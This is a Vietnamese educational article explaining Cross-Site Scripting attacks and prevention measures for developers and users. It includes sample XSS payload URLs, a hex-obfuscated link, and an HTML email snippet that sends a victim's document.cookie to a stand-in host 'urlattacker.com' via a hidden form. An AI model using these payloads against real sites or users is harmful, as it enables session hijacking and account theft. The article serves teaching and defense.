Kiểu tấn công XSS

Cross-Site Scripting (XSS) là một trong những kĩ thuật tấn công phổ biến nhất hiên nay, đồng thời nó cũng là một trong những vấn đề bảo mật quan trọng đối với các nhà phát triển web và cả những người sử dụng web. Bất kì một website nào cho phép người sử dụng đăng thông tin mà không có sự kiểm tra chặt chẽ các đoạn mã nguy hiểm thì đều có thể tiềm ẩn các lỗi XSS.

XSS là gì?

Cross-Site Scripting hay còn được gọi tắt là XSS là một kiểu tấn công cho phép hacker chèn những đoạn script độc hại (thông thường là javascript hoặc HTML) vào website và sẽ được thực thi ở phía người dùng. Đối với XSS, người bị tấn công là người dùng chứ không phải website, hacker có thể dùng XSS để gửi những đoạn script độc hại tới một người dùng bất kỳ, và trình duyệt của người dùng sẽ thực thi những đoạn script đó và gửi về cho hacker những thông tin của người dùng thông qua email hoặc server do hacker định sẵn từ trước. Kĩ thuật tấn công XSS đã nhanh chóng trở thành một trong những lỗi phổ biến nhất của Web Applications và mối đe doạ của chúng đối với người sử dụng ngày càng lớn. Mối nguy hiểm từ XSS đã ngày càng được mọi người chú ý hơn.

XSS hoạt động như thế nào?

Về cơ bản XSS cũng như SQL Injection hay Source Injection, nó cũng là các yêu cầu (request) được gửi từ các máy client tới server nhằm chèn vào đó các thông tin vượt quá tầm kiểm soát của server. Nó có thể là một request được gửi từ các form dữ liệu hoặc cũng có thể đó chỉ là các URL như là

http://testxss.com/search.cgi?query=<script>alert('XSS was found !');</script>

Rất có thể trình duyệt của bạn sẽ hiện lên một thông báo "XSS was found !". Các đoạn mã trong thẻ script không hề bị giới hạn bởi chúng hoàn toàn có thể thay thế bằng một file nguồn trên một server khác thông qua thuộc tính src của thẻ script. Cũng chính vì lẽ đó mà chúng ta chưa thể lường hết được độ nguy hiểm của các lỗi XSS.

Nhưng nếu như các kĩ thuật tấn công khác có thể làm thay đổi được dữ liệu nguồn của web server (mã nguồn, cấu trúc, cơ sở dữ liệu) thì XSS chỉ gây tổn hại đối với website ở phía client mà nạn nhân trực tiếp là những người khách duyệt site đó. Tất nhiên đôi khi các hacker cũng sử dụng kĩ thuật này đề deface các website nhưng đó vẫn chỉ tấn công vào bề mặt của website. Thật vậy, XSS là những Client-Side Script, những đoạn mã này sẽ chỉ chạy bởi trình duyệt phía client do đó XSS không làm ảnh hưởng đến hệ thống website nằm trên server.

Mục tiêu tấn công của XSS không ai khác chính là những người sử dụng khác của website, khi họ vô tình vào các trang có chứa các đoạn mã nguy hiểm do các hacker để lại họ có thể bị chuyển tới các website khác, đặt lại homepage, hay nặng hơn là mất mật khẩu, mất cookie thậm chí máy tính bạn có thể sẽ bị cài các loại virus, backdoor, worm ..

Các thẻ HTML đều có thể là công cụ cho các cuộc tấn công bởi kĩ thuật XSS, trong đó 2 thẻ IMG và IFRAME có thể cho phép trình duyệt của bạn load thêm các website khác khi các lệnh HTML được hiển thị. Ví dụ như BadTrans Worm một loại worm sử dụng thẻ IFRAME để lây lan trong các hệ thống có sử dụng Outlook hay Outlook Express.

Đôi khi đang đọc email bạn bị chuyển sang một website khác, bạn có nghĩ rằng bạn có thể mất mật khẩu. Điều đó hoàn toàn có thể xảy ra nếu các bạn mở email mà không hề cảnh giác với XSS, đâu phải chỉ các file đính kèm mới có thể gây nguy hiểm cho bạn. Chỉ cần với một đoạn mã HTML gửi trong email bạn đã hoàn toàn bị mất cookie của mình:

<form action="http://urlattacker.com" method="post" name="XSS-attack">
    <input type="hidden" name="cookie">
</form>
<img border="0" onmouseover="window.document.XSS.cookie.value = document.cookie;
window.document.XSS-attack.submit();" src="none.jpg">

Vậy là khi bạn nhận email, và nếu bạn vô tình đưa con chuột qua bức ảnh gửi kèm thì cũng có nghĩa là bạn đã bị lấy mất cookie. Với cookie lấy được, các hacker có thể dễ dàng login email của bạn mà không cần biết mật khẩu là gì. Tât nhiên còn rất nhiều những kiểu tấn công khác, trong đó có những kiểu đã được tìm ra có những kiều chưa lường hết được.

Ngăn ngừa XSS như thế nào?

Người ta không lường hết được mức độ nguy hiểm của XSS nhưng cũng không quá khó khăn để ngăn ngừa XSS. Có rất nhiều cách để có thể giải quyết vấn đề này. OWASP (The Open Web Application Standard Project) nói rằng để có thể xây dựng các website bảo mật cao, đối với các dữ liệu của người sử dụng developer nên:

  • Chỉ chấp nhận những dữ liệu hợp lệ.
  • Từ chối nhận các dữ liệu hỏng.
  • Liên tục kiểm tra và thanh lọc dữ liệu.
  • Tạo ra danh sách những thẻ HTML được phép sử dụng, xóa bỏ các thẻ <script>, coi đoạn script đó như là đoạn trích dẫn lỗi
  • Lọc dấu nháy đơn hay nháy kép
  • Lọc kí tự NULL
  • Xóa các kí tự “>”, “<” hoặc Output Endcoding các kí tự đó
  • Vẫn cho phép nhập dữ liệu đặc biệt nhưng chúng sẽ đc mã hóa theo chuẩn riêng

Đối với người dùng: Khi vào một trang web mới thì ta cần phải cân nhắc khi click vào link, kiểm tra các link thật kĩ trước khi click. Tóm lại, chúng ta sẽ được an toàn hơn khi có một tinh thần cảnh giác cao hơn. Nếu như bạn gặp một liên kết có dạng:

http://testxss.com/search.cgi?query=<script>alert(document.cookie)</script> 

chắc chắn bạn sẽ phải xem xét kĩ trước khi click vào. Có thể là sẽ tắt JavaScript cho trình duyệt trước khi click vào hay ít nhất cũng có một chút cảnh giác. Nhưng nếu bạn gặp một liên kết như thế này thì sao :

http://testxss.com/search.cgi?%71%75%65%61%72%79%3D%3C%73%63%72%69%70%74

Đó thực chất chính là liên kết ban đầu nhưng chỉ khác nó đã được mã hoá. Một phần kí tự của liên kết đã được thay thế bởi mã HEX của nó, tất nhiên trình duyệt của bạn vẫn hiểu địa chỉ đó thực sự là gì. Bởi vậy bạn có thể sẽ gặp phải các đoạn mã nguy hiểm nếu như bạn mất cảnh giác với XSS.